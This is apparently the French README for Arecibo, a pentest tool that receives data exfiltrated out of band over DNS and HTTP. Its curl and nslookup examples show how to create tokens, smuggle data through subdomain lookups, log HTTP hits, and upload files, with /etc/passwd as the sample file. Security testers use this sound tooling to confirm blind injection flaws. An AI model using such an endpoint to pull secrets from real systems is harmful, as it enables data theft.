
Point de terminaison pour l'exfiltration hors bande (DNS et HTTP)
Point de terminaison pour exfiltration hors bande (DNS et HTTP)
Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)
Créer un nouveau jeton :
curl localhost:5000/generatedns
{"htoken": "c008b5dd22817c50441522f917c66743"}
Vous pouvez maintenant utiliser ce jeton d'identification pour effectuer des résolutions DNS (ABCD.JETON.x.votredomaine.com) :
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: DOMINIO
Address: 127.0.0.1
Vous pouvez consulter les accès et les données exfiltrées via /hitsdns/JETON :
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743
{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]}
Si vous souhaitez toutes les données concaténées, utilisez /dumpdns/jeton :
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743
{"dump": "test-exfiltracionconcatenatedtootherinfo"}
Générer un jeton :
curl localhost:5000/generatehttp
{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}
Vous pouvez maintenant exfiltrer des informations via des requêtes HTTP (http://votredomaine.com/h/JETON). Les paramètres GET/POST, les en-têtes et l'IP seront enregistrés par Arecibo.
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!
Pour récupérer les informations, utilisez /hitshttp/JETON :
curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}
Si vous devez afficher un HTML, des EN-TÊTES ou un code d'état personnalisé, utilisez la méthode POST pour définir ces valeurs (le corps doit être encodé en base64) :
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
"htoken": "324e18288eed54548392c5a65514b3dc"
}
Arecibo résout les domaines au format X.Y.Z.A.ip.votredomaine.com comme X.Y.Z.A :
> 10.0.0.1.ip.votredomaine.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: votredomaine.com
Address: 10.0.0.1
Téléverser un fichier en utilisant le point de terminaison /upload :
curl localhost:5000/upload -F 'x-file=@/etc/passwd'
{"htoken": "36981274bdb9cc833472681caeb82337"}
Pour le télécharger, utilisez le jeton généré :
curl localhost:5000/download/36981274bdb9cc833472681caeb82337
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Affiche l'IP du client via /ip :
curl localhost:5000/ip
{"ip": "127.0.0.1"}
Vous devez installer pdns et pdns-backend-pipe depuis les dépôts de votre distribution, ainsi que les modules flask et flask_restful pour Python.
chmod +x arecibo-dns-backend.pysetuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py
(Changez les valeurs setuid/setgid pour celles utilisées pour exécuter le script API, elles doivent être identiques)
VOTRE SERVEUR DOIT ÊTRE CONFIGURÉ COMME DNS AUTHORITATIF POUR VOTRE DOMAINE
IMPORTANT : Vous devez configurer un nginx ou un autre proxy inverse devant Arecibo afin d'assurer l'authentification et la sécurité.